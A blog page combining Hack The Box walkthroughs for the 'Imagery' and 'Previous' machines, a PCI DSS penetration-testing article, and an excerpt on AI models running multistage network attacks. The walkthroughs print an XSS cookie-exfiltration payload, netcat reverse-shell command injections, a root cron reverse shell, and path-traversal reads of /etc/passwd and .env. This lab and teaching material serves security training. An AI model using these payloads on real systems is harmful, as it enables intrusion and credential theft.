Security teams are under constant pressure to do more with the same resources. Manual processes, fragmented tools, and inefficient workflows can slow teams down and pull focus away from what matters most.
In this live webinar, experienced security practitioners share how they’ve escaped the constraints of limited
Learn about the key differences between DAST and pentesting, the emerging role of AI pentesting, their roles in security testing, and which is right for your business.
In this write-up, we will explore the “Imagery” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Imagery” machine from Hack The Box by achieving the following objectives:
User Flag:
After gaining an initial foothold through weaknesses in the web application, access is gradually expanded beyond a standard user account. By leveraging exposed application data and mismanaged credentials, lateral movement becomes possible within the system. This progression ultimately leads to access to a regular system user account, where the user flag can be retrieved, marking the successful completion of the first objective.
Root Flag:
With user-level access established, further analysis reveals misconfigured privileges and trusted system utilities that can be abused. By carefully interacting with these elevated permissions and understanding how system-level automation is handled, full administrative control of the machine is achieved. This final escalation allows access to the root account and the retrieval of the root flag, completing the machine compromise.
Enumerating the Imagery Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
Port 22 (SSH): SSH is available for remote access and may be used later if valid credentials are obtained.
Port 8000 (HTTP): A Python-based web application is exposed on port 8000 and represents the primary attack surface for further enumeration.
Web Enumeration:
Web Application Exploration:
Features the app’s slogan “Capture & Cherish Every Moment” in large white text, followed by a description: “Your personal online gallery, designed for simplicity and beauty. Upload, organise, and relive your memories with ease.” Below that, a white section titled “Powerful Features at Your Fingertips” with three icons (a landscape image frame, a padlock for security, and a rocket for speed/performance). The navigation bar at the top includes “Home,” “Login,” and “Register.”
Application Overview
Centred white form on blue background titled “Register”. Fields: “Email ID” (placeholder: “Enter your email ID”) and “Password” (placeholder: “Enter your password” with eye icon for visibility). Blue “Register” button. ja
Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Register” button.
Similar to register, titled “Login”. Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Login” button, plus “Don’t have an account? Register here” link. Top nav: “Home”, “Login”, “Register”.
White background with title “Your Image Gallery”. A card message: “No images uploaded yet. Go to the ‘Upload’ page to add some!” Logged-in nav: “Home”, “Gallery”, “Upload”, “Logout” (red button).
Client-side JavaScript source code fetching and displaying admin bug reports from /admin/bug_reports with error handling and UI rendering logic.
JavaScript function handleDownloadUserLog redirects to /admin/get_system_log with a crafted log_identifier parameter based on username.
404 Not Found response when accessing the root /admin endpoint directly.
JSON access denied response (“Administrator privileges required”) when trying to access /admin/users as a non-admin user.
405 Method Not Allowed error on GET request to /report_bug, indicating the endpoint exists but requires a different HTTP method (likely POST).
Stored Cross-Site Scripting in Bug Reporting Feature on Imagery Machine
“Report a Bug” form pre-filled with “bugName”: “dark” and the same XSS cookie-stealing payload in Bug Details, ready for submission.
Terminal session as user “dark@parrot” running a local HTTP server (sudo python3 -m http.server 80) in the ~/Documents/htb/imagery directory to serve files/listen for requests on port 80.
Burp Suite capture of a successful POST to /report_bug, submitting JSON with “bugName”: “dark” and XSS payload in “bugDetails” (<img src=x onerror=”document.location=’http://10.10.14.133:80/?cookie=’+document.cookie”>), response confirms submission with admin review message.
The response of successful POST to /report_bug, submitting an XSS payload in bugDetails to exfiltrate cookies via redirect to the attacker’s server.
Burp Suite capture of GET request to /auth_status returning JSON with logged-in user details (username “dark@imagery.htb“, isAdmin false).
Local Python HTTP server log showing incoming request from target (10.129.3.10) with stolen admin session cookie in query parameter, plus 404 for favicon.
Burp Suite capture of GET to /admin/ endpoint returning standard 404 Not Found HTML error page.
Successful GET to /admin/users with stolen admin cookie returning JSON user list (admin with isAdmin:true, testuser with isAdmin:false).
JavaScript source snippet of handleDownloadUserLog function redirecting to /admin/get_system_log with the encoded log_identifier parameter.
Local File Inclusion Leading to Credential Disclosure
Failed LFI attempt on non-existent path returning 500 Internal Server Error with “Error reading file: 404 Not Found”.
Successful LFI exploitation via /admin/get_system_log retrieving /etc/passwd contents through path traversal payload “../../../../../../etc/passwd”.
Admin Panel interface (accessed with hijacked session) showing User Management with admin and testuser entries, plus empty Submitted Bug Reports section.
Retrieved db.json file contents via /admin/get_system_log path traversal, exposing user records with MD5-hashed passwords for admin and testuser, alongside an empty bug_reports array.
LFI retrieval of config.py source code exposing app constants like DATA_STORE_PATH=’db.json’, upload folders, and allowed extensions.
CrackStation online tool cracking the MD5 hash “2c65c8d7bfbca32a3ed42596192384f6” to plaintext “iambatman”.
Terminal output of failed SSH attempt as testuser@10.129.3.10 with publickey authentication denied.
Authenticating to the Imagery Application Using TestUser’s Credentials
Login page with Email ID pre-filled as “testuser@imagery.htb” and masked password field.
Empty Gallery page for logged-in user stating “No images uploaded yet. Go to the ‘Upload’ page to add some!”
Upload New Image form with “lips.png” selected (max 1MB, allowed formats listed), optional title/description, group “My Images”, uploading as Account ID e5f6g7h8.
Achieving Shell Access via Remote Code Execution
Gallery view showing single uploaded image “lips” (red lips icon) with open context menu offering Edit Details, Convert Format, Transform Image, Delete Metadata, Download, and Delete.
Visual Image Transformation modal in crop mode with selectable box over the red lips image, parameters set to x:0 y:0 width:193 height:172.
Successful Burp POST to /apply_visual_transform with valid crop params returning new transformed image URL in /uploads/admin/transformed/.
Burp capture of POST to /apply_visual_transform with invalid crop “x”:”id” parameter resulting in 500 error (“invalid argument for option ‘-crop'”).
Burp capture of POST to /apply_visual_transform injecting “cat /etc/passwd” via crop “x” parameter, resulting in 500 error exposing command output snippet.
Attacker terminal running netcat listener on port 9007 (nc -lvnp 9007).
Burp capture of POST to /apply_visual_transform with reverse shell payload in crop “x” parameter (“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.133 9007 >/tmp/f”).
Successful reverse shell connection from target (10.129.3.10) to attacker listener on port 9007, landing as web@Imagery.
Directory listing of /var/backup showing an encrypted backup file web_20250806_120723.zip.aes.
Directory listing of /var/backups showing multiple compressed APT/dpkg state archives (.gz files).
Target starting Python HTTP server on port 9007 to serve the encrypted backup file.
Wget successfully downloading the encrypted backup file web_20250806_120723.zip.aes (22MB) from the target’s HTTP server on port 9007.
File command confirming web_20250806_120723.zip.aes is AES-encrypted data created by pyAesCrypt 6.1.1.
Attempt to run dpyAesCrypt.py failing with ModuleNotFoundError for ‘pyAesCrypt’ (case-sensitive import issue).
Successful pip3 user installation of pyaescrypt-6.1.1 package.
Failed execution of dpyAesCrypt.py due to ModuleNotFoundError for ‘termcolor’ (missing import dependency).
Successful pip3 user installation of termcolor-3.3.0 package.
Custom pyAesCrypt brute-forcer discovering password “bestfriends” early in the wordlist.
Successful decryption of the AES backup using “bestfriends”, outputting the original web_20250806_120723.zip.
The cunzip extracting the decrypted backup archive, revealing full app source (api_*.py, app.py, config.py, db.json, utils.py), templates, system_logs, env, and compiled pycache files.
cat of decrypted db.json revealing user database with admin (hashed password), testuser (“iambatman”), and mark (another hashed password).
CrackStation results cracking MD5 hashes to “iambatman”, “supersmash”, and “spiderweb1234” (one unknown).
Successful su to mark using password “supersmash”, confirming uid/gid 1002.
Python one-liner (python3 -c ‘import pty;pty.spawn(“/bin/bash”)’) to spawn an interactive bash shell.
ls -al in /home/mark showing files including user.txt (likely containing the flag).
We can read the user flag by typing the “cat user.txt” command
Escalate to Root Privileges Access to Imagery Machine
Privilege Escalation:
sudo -l reveals that user mark can run /usr/local/bin/charcol as root without a password (NOPASSWD).
charcol help output describing the CLI tool for encrypted backups, with commands (shell, help) and options (-quiet, -R for reset).
Failed charcol shell passphrase attempts (“bestfriend”, “supermash”, “supersmash”) resulting in lockout after multiple errors.
sudo charcol -R resetting application password to default (“no password” mode) after system password verification.
sudo charcol -R resetting application password to default (“no password” mode) after system password verification.
Repeated sudo charcol -R successfully resetting to no password mode.
charcol interactive shell entry after initial setup, displaying ASCII logo and info message.
charcol help output explaining backup/fetch commands and “auto add” for managing automated (root) cron jobs, with security warnings.
Attacker terminal running netcat listener on port 9007 in preparation for reverse shell.
Successful “auto add” command creating a root cron job with reverse shell payload to attacker (10.10.14.133:9007), verified with system password “supersmash”.
Successful privilege escalation to root via a malicious cron job triggered a reverse shell, followed by reading the root flag from /root/root.txt
Artificial intelligence (AI) systems rarely fail in obvious ways. No red error screen. No crashed service. No broken button. They fail quietly. Outputs look confident...Read More
In a recent evaluation of AI models’ cyber capabilities, current Claude models can now succeed at multistage attacks on networks with dozens of hosts using only standard, open-source tools, instead of the custom tools needed by previous generations. This illustrates how barriers to the use of AI in relatively autonomous cyber workflows are rapidly coming down, and highlights the importance of security fundamentals like promptly patching known vulnerabilities.
[…]
A notable development during the testing of Claude Sonnet 4.5 is that the model can now succeed on a minority of the networks without the custom cyber toolkit needed by previous generations. In particular, Sonnet 4.5 can now exfiltrate all of the (simulated) personal information in a high-fidelity simulation of the Equifax data breach—one of the costliest cyber attacks in history—using only a Bash shell on a widely-available Kali Linux host (standard, open-source tools for penetration testing; not a custom toolkit). Sonnet 4.5 accomplishes this by instantly recognizing a publicized CVE and writing code to exploit it without needing to look it up or iterate on it. Recalling that the original Equifax breach happened by exploiting a publicized CVE that had not yet been patched, the prospect of highly competent and fast AI agents leveraging this approach underscores the pressing need for security best practices like prompt updates and patches. ...
Manus is adding app publishing that aims to turn a described app into an installable mobile build, handling packaging while you finish distribution in Google Play Console or App Store Connect and TestFlight.
PCI penetration testing is performed to identify security vulnerabilities in line with PCI DSS requirements.
PCI DSS 4.0.1 penetration testing requirements are targeted at:
Internal systems that store, process, or transmit card data
Public-facing devices and systems
Databases
This is a controlled form of an ethical hacking exercise with the following objectives:
Assess the access security and segmentation controls in line with PCI compliance requirements.
Determine whether a threat actor could gain unauthorized access to CDE systems that store, process, or transmit payment data.
To verify the security environment and solutions, protect credit/debit card data such as CHD and SAD up to the PCI compliance security assessment
To prevent PCI DSS non-compliance due to testing gaps.
Overview of PCI DSS 4.0.1
Overall, PCI DSS 4.0.1 is a set of 12 requirements distributed over six goals as a security standard for credit cards and debit cards. Not having proper documentation, poor protocols, or insufficient penetration testing may be among the reasons as to why PCI DSS audits fail.
What Penetration systems means for PCI DSS
What it is
A controlled, authorized attack simulation against systems to identify exploitable security weaknesses
Purpose
To prove that security controls work in real-world conditions
PCI DSS reference
Requirement 11 (PCI DSS 4.0 and earlier versions)
Scope
Cardholder Data Environment (CDE) and connected systems
Outcome
Evidence of exploitable risk + remediation validation
What PCI DSS requires
PCI DSS Requirement 11.3 penetration testing: the 11.3 requirement in PCI DSS explicitly mandates the active use of penetration testing at least once a year and major changes made to your organizations’ systems and tech stack.
Explanation of Key Terms (ASV and QSA)
A QSA is a qualified security assessor: the person who will approve all the things that you’re doing to say you’re passing the audit. An ASV is an external party that will do the vulnerability scan for your network that’s approved by the PCI Council.
Common industry practice: external penetration testing
Companies are often looking for a PCI DSS pentesting provider for their penetration testing objectives which can be achieved via internal vs external PCI penetration testing: Most organizations prefer to hire an external consultant to carry out their penetration testing. It is the standard procedure. For organizations wanting to reduce costs, they can consider doing a penetration test internally.
Carrying out penetration testing internally.
Carrying out penetration testing internally would be judged by the auditing team for PCI DSS later. The PCI DSS audit would scrutinize your internal penetration testing efforts and documentation to judge it for sufficient expertise and no conflict of interest.
Working with the auditor such as the QSA helps informing them beforehand of your intent to carry out penetration testing internally would support efforts to pass the PCI DSS audit. PCI compliance penetration testing
Criteria #1: Sufficient Qualifications
You must have sufficient qualifications to carry out penetration testing internally. One needs to be a security professional or have training in the official penetration training product. Other ways to prove sufficiency are effective work experience. Again, planning to work with the QSA by informing them beforehand is key. Companies must be aware of what evidence PCI auditors expect from penetration testing like these.
Criteria #2: No Conflict of Interest
The second criteria are no conflict of interest. That means there is no conflict of interest between the groups of people who built the systems for scope, as well as the penetration tester who is testing the system. Often a PCI auditor may give you a waiver. Being organizationally separate helps. In a small organization, the QSA typically does give a waiver if you don’t have enough people to prevent that conflict of interest.
Role of Penetration Testing in Achieving PCI DSS Goals
Organizations achieve PCI DSS goals naturally via differentiated paths. Compliance requirements and implementation may differ in point in time; the value of penetration testing aims to uncover the areas and help organizations converge toward implementation that is identical if not extraneous in scope to compliance.
One can ideally think of penetration testing in a broader sense as an investigatory and study-based set of actions. In this manner, there are numerous benefits beyond merely identifying the areas where implementation of PCI DSS and compliance requirements differ.
When Penetration Testing Is Required Under PCI DSS
Trigger Event
Penetration Testing Requirement
Annually
Mandatory penetration test at least once every 12 months
Significant system change
Required after major infrastructure, application, or network changes
New payment application
Required before production use
Network segmentation changes
Required to validate segmentation effectiveness
Cloud / hosting changes
Required if CDE exposure or trust boundaries change
A penetration testing routine for any companies’ PCI DSS implementation eventually leads to a deeper and better understanding of their respective security posture, generates reports and documentation for posterity, and improves the organization’s ability and willingness to deal effectively with payment card security and data.
Insights from VISTA InfoSec – PCI DSS Compliance Fails Most Often Between Audit Cycles
One of the biggest misconceptions VISTA InfoSec always has to set straight with clients tackling PCI DSS is them treating it like a once-a-year event. PCI isn’t a point-in-time certification—it’s an ongoing operational requirement. What usually breaks compliance isn’t missing controls; it’s what happens after the audit. Quarterly ASV scans don’t get run; internal vulnerability assessments fall behind, and recurring reviews quietly stop. By the time the next assessment comes around, the controls exist—but the evidence doesn’t.
PCI DSS Penetration Testing Requirements
Build and maintain a secure network and systems
Protect cardholder data
Maintain a vulnerability management program
Implement strong access control measures
Regularly monitor and test networks
Maintain an information security policy
Insights from VISTA InfoSec – External ASV Scanning Is Frequently Misunderstood and Misapplied
VISTA InfoSec frequently encounters this issue across PCI DSS assessments: we have worked for clients who had their ASV scans being used for internal vulnerabilities. ASV scans are very specific in what they’re meant to do. They only apply to externally exposed IP addresses. What they are not is a replacement for internal vulnerability scanning. PCI DSS is very clear about separating external exposure testing from internal risk discovery, and assessors see this mistake all the time. If you’re using ASV scans to justify skipping internal assessments, that’s a compliance issue waiting to happen.
Hence, VISTA InfoSec recommends a practical solution to treat ASV scans and internal vulnerability assessments as complementary controls with distinct objectives, not substitutes.
Penetration Testing Context and Objectives
Penetration testing for PCI DSS follows the same format as it does in another context. Aims for PCI DSS penetration testing is the same as in other contexts.
It aims to uncover the vulnerabilities and flaws in the implementation of a PCI DSS based solution for companies. As companies protect their data and payment information via PCI DSS, penetration testing approaches uncover them and help an organization retain their security posture.
Insights from VISTA InfoSec – Segmentation Cannot Be Assumed, It Must Be Proven
At VISTA InfoSec, we observed a common misconception when working over multiple PCI DSS client environments, where segmentation is often treated as a design assertion rather than a control that must be continuously proven.
Segmentation as a security control, not a design feature: Segmentation is only valid under PCI DSS if you can prove it works. That means testing it. Half-yearly segmentation penetration testing is required to demonstrate that traffic is limited exactly the way you say it is—between card and non-card environments and within internal CDE zones. Diagrams and documentation help, but they’re not enough. Assessors expect technical evidence that lateral movement is blocked in the real world.
Refining PCI DSS Security Posture Through Testing
Thus, the general penetration test conducted to assess an organization’s PCI DSS posture eventually refines it via the discovery of vulnerabilities, weaknesses, flaws, and potential exploits. PCI DSS compliance security posture testing and validation is key for assessing the effectiveness of the security posture of any organization aiming to assess their security posture for PCI DSS.
Types of Penetration Tests Required by PCI DSS
Test Type
What is Tested
Why It matters
Network penetration testing
External and internal network defenses
Identifies perimeter and lateral movement risks
Application penetration testing
Payment applications and APIs
Detects logic flaws, injection, and data exposure
Segmentation testing
Isolation between CDE and non-CDE systems
Reduces PCI scope and attack surface
Authentication testing
Access controls and privilege escalation
Prevents unauthorized access to card data
Penetration Testing vs Vulnerability Scanning (PCI Context)
Area
Vulnerability Scanning
Penetration Testing
Nature
Automated detection
Human-led exploitation
Depth
Identifies weaknesses
Proves real-world impact
Frequency
Quarterly (minimum)
Annual + after major changes
PCI Requirement
Req. 11.2
Req. 11.4
Outcome
Risk indicators
Confirmed security gaps
Analogy: PCI DSS and Penetration Testing
In analogy terms, think of PCI DSS as the locks and safeguards one places on their company’s cardholder data. A penetration test, or testing in this context are the guided, overseen and managed deliberate attempts to attempt to break these locks to gauge vulnerabilities, identify flaws, and report them to improve security posture via finding gaps and weaknesses. PCI DSS penetration testing to validate real-world security controls involves testing PCI DSS safeguards against real attack scenarios.
Evidence PCI Auditors Expect from Penetration Testing
Evidence Item
What It Demonstrates
Scope definition
All relevant CDE systems were tested
Methodology
Industry-recognized testing approach used
Findings report
Identified vulnerabilities and exploit paths
Remediation evidence
Issues were fixed and verified
Retest results
Fixes are effective and durable
Why Declared Compliance Is Not Enough
Even if a company says they follow PCI DSS, there may very well be holes, misconfigurations, or ways attackers could sneak in.
Common PCI DSS Penetration Testing Failures
Failure
Why It Causes Audit Issues
Testing only externall
Internal threats are ignored
Excluding cloud components
Modern CDEs are hybri
No segmentation testing
PCI scope cannot be trusted
No retesting after fixes
Control effectiveness is unproven
Generic reports
Lack of PCI-specific relevance
Why PCI DSS 4 Leans So Heavily on Testing
Under older models’ compliance was often point-in-time and evidence heavy. An added downside was that compliance was slow to adapt to real risk.
Who Is Responsible for PCI DSS Penetration Testing
Role
Responsibility
Why It Matters
Executive management
Approves scope, budget, and remediation timelines
PCI DSS places accountability at the governance level, not just IT
Compliance / GRC tea
Aligns testing with PCI DSS requirements and audit expectations
Ensures testing is evidence-ready, not just technically sound
Security team
Coordinates test execution and validate findings
Bridges technical results with business risk
External penetration testing provider
Conducts independent, qualified testing
Independence is required to ensure credibility and objectivity
System owners
Fix vulnerabilities and support retesti
Controls are only effective if remediation is verified
Penetration Testing and the Shift Toward Effectiveness
Penetration testing is thus ideal for PCI DSS and this shift in emphasis. As it forces different implementations to converge toward real security. It exposes implementations where PCI DSS controls look right but fall short in behavior. Additionally, it validates whether your security posture technically resists attack.
How PCI DSS 4.0 Changes Expectations for Penetration Testing
Area
Pre–PCI DSS 4.0 Approach
PCI DSS 4.0 Expectation
Testing mindset
Point-in-time compliance
Continuous validation of control effectiveness
Change-driven testing
Often informal or delayed
Explicitly required after significant changes
Cloud environments
Frequently under-scoped
Fully in-scope if they impact the CDE
Segmentation validation
Sometimes assumed
Must be actively proven through testing
Evidence quality
High-level reports accepted
Clear exploit paths, impact, and verification required
Retesting
Sometimes skipped
Mandatory to confirm fixes are effective
Objectives and Benefits of PCI Penetration Testing and Vulnerability Analysis
All outcomes of penetration testing analysis aim to prove equivalence to the need to protect credit card data. Vulnerability analysis aims to locate and identify weaknesses and potential gaps, exploits that can lead to loss of security of credit card data.
Penetration testing and vulnerability analysis isn’t merely about just ticking up a compliance box. There are very real practical benefits arising out of doing this properly. Firstly, it is about protecting one’s cardholder data environment – CDE. A solid penetration is used to verify that access controls actually work for your card data on the need-to-know basis, not merely on paper. Obviously, a solid penetration testing campaign is necessary for proving that your systems, controls and processes protect cardholder data.
Another objective is to test segmentation across networked systems. When one validates segmentation via penetration testing, you prove and reduce the risk of insider threats. Segmentation is required to prove your organization effectively limits access to networks where credit card data is stored and transmitted. You’re proving that even if someone has access to part of the network, they can’t laterally move into systems that store, process, or transmit cardholder data.
Penetration testing also helps you identify common but high-impact web application vulnerabilities—things like SQL injection, broken authentication, and session management issues. These are exactly the kinds of weaknesses attackers look for, and PCI explicitly expects you to test them.
Being able to demonstrate that you regularly test your environment shows customers, partners, and your supply chain that you take data security seriously. That matters increasingly, especially when third-party risk is under scrutiny.
From a compliance standpoint, regular testing helps you maintain PCI DSS compliance over time, not just during audit season. It supports a more proactive security posture instead of reacting to findings once a year.
And finally, penetration testing is one of the most effective ways to uncover insecure configurations—across systems, networks, and applications—that might otherwise go unnoticed. These are often the exact issues that lead to audit findings or real-world breaches.
So overall, PCI testing isn’t just about passing an audit. It’s about proving that your controls actually work, in real conditions.
Insights from VISTA InfoSec – Cardholder Data Discovery Is About Preventing Silent Data Drift
At VISTA InfoSec, we were called for a major enterprise who had experienced data breach even though certified in PCI DSS. After due investigation, our consultants observed that the breached card data was residing on systems not in scope. This happened as cardholder data discovery was limited to systems already assumed to be in scope. This is an issue we have seen across multiple clients over the past 15 years. Our clients had previously overlooked data drift, where card data spread into non-card environments via logs, backups, integrations, or analytics workflows.
In one representative case, transaction payloads containing partial PAN data were logged by an application middleware layer and forwarded to a centralized logging and analytics platform classified as out of scope. Over time, those logs were backed up to shared storage and replicated across regions, creating multiple unintended copies of card data outside the defined CDE.
Cardholder data discovery isn’t just about scanning systems you already believe are in scope. It’s about making sure card data hasn’t quietly drifted somewhere it shouldn’t be. That’s why CHD scans need to cover both card and non-card environments. They help confirm that sensitive data hasn’t been duplicated, stored unencrypted, or left behind in unexpected places—and they’re critical for validating where card data really exists when you’re making ROC assertions.
Conclusion
PCI DSS formally lists penetration testing as part of requirement 11.3, while most companies hire external consultants such as the ASV or a QSA; many are unaware companies can pentest internally. As part of compliance, your penetration testing will occur at least once a year and definitely after major changes to your systems and technologies.
Companies often prefer extensive penetration testing and are advised to do so working ahead of time with the QSAs to increase their chances of meeting compliance. Penetration testing for PCI DSS helps retain security posture, identify vulnerabilities, and ensure robust practices for maintaining credit card data security.
Need Expertise for Implementing PCI DSS 4.0.1?
At VISTA InfoSec, we don’t help you prepare for an audit—we help you build security that stands up to real-world attacks. As PCI DSS threats become more automated and complex, organizations need more than checklists and templates. Whether your organization needs a PCI compliance security assessment to evaluate posture, or a waiver requirement for avoiding conflict of interest with your QSA for PCI DSS, to appropriate cardholder data environment penetration testing, we understand organizations requirements:
They need experienced guidance, tested controls, and continuous assurance.
Our certified experts work alongside your teams to clearly define scope, close compliance gaps, validate controls, and ensure you are audit-ready across people, processes, and technology.
Continuous PCI Compliance testing
PCI DSS cloud penetration testing
The result is not just PCI DSS 4.0.1 compliance, but a stronger, resilient cardholder data environment you can trust. Achieving continuous PCI compliance requires more than the right VAPT teams and collaboration; it needs vision and coherent approaches for your security posture and systems.
Want to learn more? Check out VISTA InfoSec’s YouTube Channel for simple explanations and expert guidance.
Are you trying to figure out what tools are best for testing your web applications? If so, you have likely done some research and know there are a lot of options from complex Java log parser tools to other tools that are much more simple in design, and as such free logging tools. If you […]
In this write-up, we will explore the “Previous” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “Previous” machine from Hack The Box by achieving the following objectives:
User Flag:
After thoroughly enumerating the Next.js application running on port 80, we discovered a critical path traversal vulnerability in the publicly exposed /api/download endpoint. Consequently, by crafting a specially designed payload, we were able to read sensitive system files. From these files, we extracted user information that revealed a valid account. Using the discovered credentials, we then gained SSH access as a standard user and, ultimately, successfully retrieved the user flag located in the home directory.
Root Flag:
With initial access secured, we enumerated the user’s sudo privileges and discovered the ability to run a specific Terraform command as root in a controlled directory. By leveraging a misconfiguration in the local Terraform setup, we first prepared a carefully crafted binary. Then, during the privileged Terraform operation, the binary was loaded, which in turn executed our payload and consequently granted elevated permissions. This allowed us to obtain a root shell and read the final root flag from the protected location.
Enumerating the Previous Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap-sC-sV-oAinitial10.10.11.83
Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/previous]└──╼$nmap-sC-sV-oAinitial10.10.11.83# Nmap 7.94SVN scan initiated Sat Jan 10 03:28:37 2026 as: nmap -sC -sV -oA initial 10.10.11.83Nmapscanreportfor10.10.11.83Hostisup (0.045s latency).Notshown:998closedtcpports (conn-refused)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.9p1Ubuntu3ubuntu0.13 (Ubuntu Linux; protocol2.0)| ssh-hostkey:| 2563e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)|_25664:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)80/tcpopenhttpnginx1.18.0 (Ubuntu)|_http-server-header:nginx/1.18.0 (Ubuntu)|_http-title:Didnotfollowredirecttohttp://previous.htb/ServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat Jan 10 03:28:48 2026 -- 1 IP address (1 host up) scanned in 11.13 seconds
Analysis:
22/tcp: Open and running OpenSSH 8.9p1 on Ubuntu, providing secure shell access for remote login. The host exposes ECDSA and ED25519 keys for authentication.
Port 80/tcp: Open and serving HTTP via Nginx 1.18.0 on Ubuntu. The server header confirms the version, and the default page redirects to http://previous.htb
Exploitation on the Previous Machine
Web Application Exploration:
The browser displays the root path / as a fully public marketing landing page for PreviousJS. The page features a tagline about “the technology of yesterday” and highlights three main benefits: “No-Side Rendering”, “Heavyweight”, and “Opt-Out Middleware”.
During Gobuster directory enumeration with a small lowercase wordlist, /signinin emerges as the only accessible endpoint returning 200 OK, representing the actual login page with the double “in”. In contrast, /api, /docs, and numerous /api* variants (such as api3, api_test, apidoc, and apis) consistently return 307 Temporary Redirects. As a result, these requests are forwarded to the sign-in page with corresponding callbackUrl parameters.
Access to /signinin?callbackUrl=http://localhost:3000/api loads the login page (note the double “in” in path) with preserved localhost callbackUrl in the URL, confirming the application accepts and reflects this misconfigured origin
Authentication Flow Analysis on Prevous Machine
When requesting the root path / with an If-None-Match header matching the current ETag, the server returns 304 Not Modified. Meanwhile, the response continues to include the next-auth.callback-url cookie set to http://localhost:3000/api/download.
This shows a GET request to /_next/data/…/docs.json (a typical Next.js client-side data fetch route for static/SSG pages). The server responds with 307 Temporary Redirect and the custom header x-nextjs-redirect: /api/auth/signin?callbackUrl=%2Fdocs, forcing unauthenticated users to the sign-in page.
When accessing /api, the request triggers a redirect chain (307 → 302) that ultimately leads to /api/auth/signinin?callbackUrl=%2Fapi. At the same time, the server sets the next-auth.callback-url cookie to http://localhost:3000/api/download. This behavior clearly indicates a NextAuth.js misconfiguration, caused by the application using the default development base URL.
CVE-2025-29927 Enumeration
GET request to /signinin?callbackUrl=http://localhost:3000/api returns 200 OK with the full login page HTML (title “Sign In In”, input fields for Username and Password, and “Sign in” button), preserving the suspicious localhost callback URL in the query string and continuing to carry the next-auth.callback-url=http://localhost:3000/api/download cookie, confirming the application fully accepts and reflects the development-origin misconfiguration in the authentication flow.
On the page, Next.js static chunks and scripts (e.g., _buildManifest.js, _ssgManifest.js) are loaded. Consequently, the localhost callback remains in the URL, and the persistent next-auth.callback-url cookie continues to point to http://localhost:3000/api/download.
A GET request to the Next.js data route /_next/data/…/docs.json triggers a 307 Temporary Redirect. The server includes a custom x-nextjs-redirect header that points to /api/auth/signinin?callbackUrl=%2Fdocs, proving that the application protects even client-side data fetches for the documentation page with authentication middleware. The persistent next-auth.callback-url cookie continues to reference http://localhost:3000/api/download
Path Traversal & Sensitive File Disclosure
The Next.js data route /_next/data/…/docs.json responds with 200 OK and returns the full rendered HTML of the PreviousJS documentation page. Additionally, the response includes a highly repeated X-Middleware-Subrequest header, with the middleware appearing five times.
The Next.js data route /_next/data/…/docs.json returns 200 OK. It delivers the full rendered HTML of the documentation overview page. The content prominently shows navigation links to “/docs/getting-started” and “/docs/examples”
Accessing /docs/content/examples via GET triggers a 307 Temporary Redirect. The custom x-nextjs-redirect header forwards the request to /api/auth/signinin?callbackUrl=%2Fdocs%2Fcontent%2Fexamples. This clearly shows that the nested documentation path stays protected by authentication middleware.
Accessing the path /docs/content/examples via GET results in a 307 Temporary Redirect. The custom x-nextjs-redirect header directs the request to /api/auth/signinin?callbackUrl=%2Fdocs%2Fcontent%2Fexamples. This clearly confirms that authentication middleware protects the nested documentation sub-route.
Path Traversal Vulnerability Discovery
The request includes a persistent next-auth.callback-url localhost cookie and repeated x-middleware-subrequest headers, indicating that the /api/download route bypasses authentication controls even though other application routes remain protected.
The response body contains the full contents of /etc/passwd. Exposed entries include standard system users such as root, bin, daemon, lp, sync, shutdown, halt, mail, uucp, operator, games, gopher, ftp, and nobody. Custom users like node (UID 1000) and nextjs (UID 1001) are also disclosed.
Sensitive File Disclosure
A request to /api/download?example=../../../../../../../../app/.env return a 200 OK response. The server replies with Content-Type: application/zip and a Content-Disposition header specifying filename=".env". This shows that the endpoint packages the requested file as a downloadable archive.
Accessing /api/download?example=../../../../../../../../app/.next/routes-manifest.json results in a 200 OK response. The server returns Content-Type: application/zip along with a Content-Disposition header specifying filename="routes-manifest.json".
Interaction with /api/download?example=../../../../../../../../app/.next/server/pages/api/auth/[...nextauth].js produces . Within the returned archive, the compiled NextAuth API route handler is exposed. This demonstrates that internal authentication logic can be retrieved as a downloadable file.
This leak confirms the intended credentials for login are:
Username: jeremy
Password: MyNameIsJeremyAndILovePancakes (as defined in ADMIN_SECRET)
Initial Access via SSH on Previous Machine
Successful SSH login as user jeremy to previous.htb (10.10.11.83) using the password obtained from the leaked NextAuth credentials code (MyNameIsJeremyAndILovePancakes), landing in a standard Ubuntu 22.04.5 LTS shell
Command execution on the target as user jeremy via SSH: cat user.txt displays the standard user flag format string
Escalate to Root Privileges Access
Privilege Escalation:
After running sudo -l as user jeremy on the target and entering the account password, the command reveals the following sudo privileges.
Matching Defaults entries include env_reset, env_delete+=PATH, mail_badpass, secure_path restricted to standard system bins, and use_pty.
User jeremy may run the following command as root without password: (root) /usr/bin/terraform -chdir=/opt/examples apply
Running /usr/bin/terraform without arguments as user jeremy displays the full Terraform CLI help output. The behavior confirms that Terraform is installed on the system. Its binary is accessible at /usr/bin/terraform.
Terraform as an Infrastructure‑as‑Code Tool
Terraform is an infrastructure‑as‑code (IaC) tool created by HashiCorp.
In other words, Terraform allows you to define and manage infrastructure through configuration files rather than manually clicking through dashboards.
The listing confirms that Jeremy has full control over his home directory and Terraform-related files relevant to the sudo rule. Direct read access to the user flag is available without requiring privilege escalation.
The configuration defines a dev_overrides block. This forces Terraform to load a local provider binary from /usr/local/go/bin.
Verification confirms that /bin/bash exists on the system. Typical permissions are set for a default shell on an Ubuntu‑based machine.
This file is clearly the intended local privilege escalation vector.
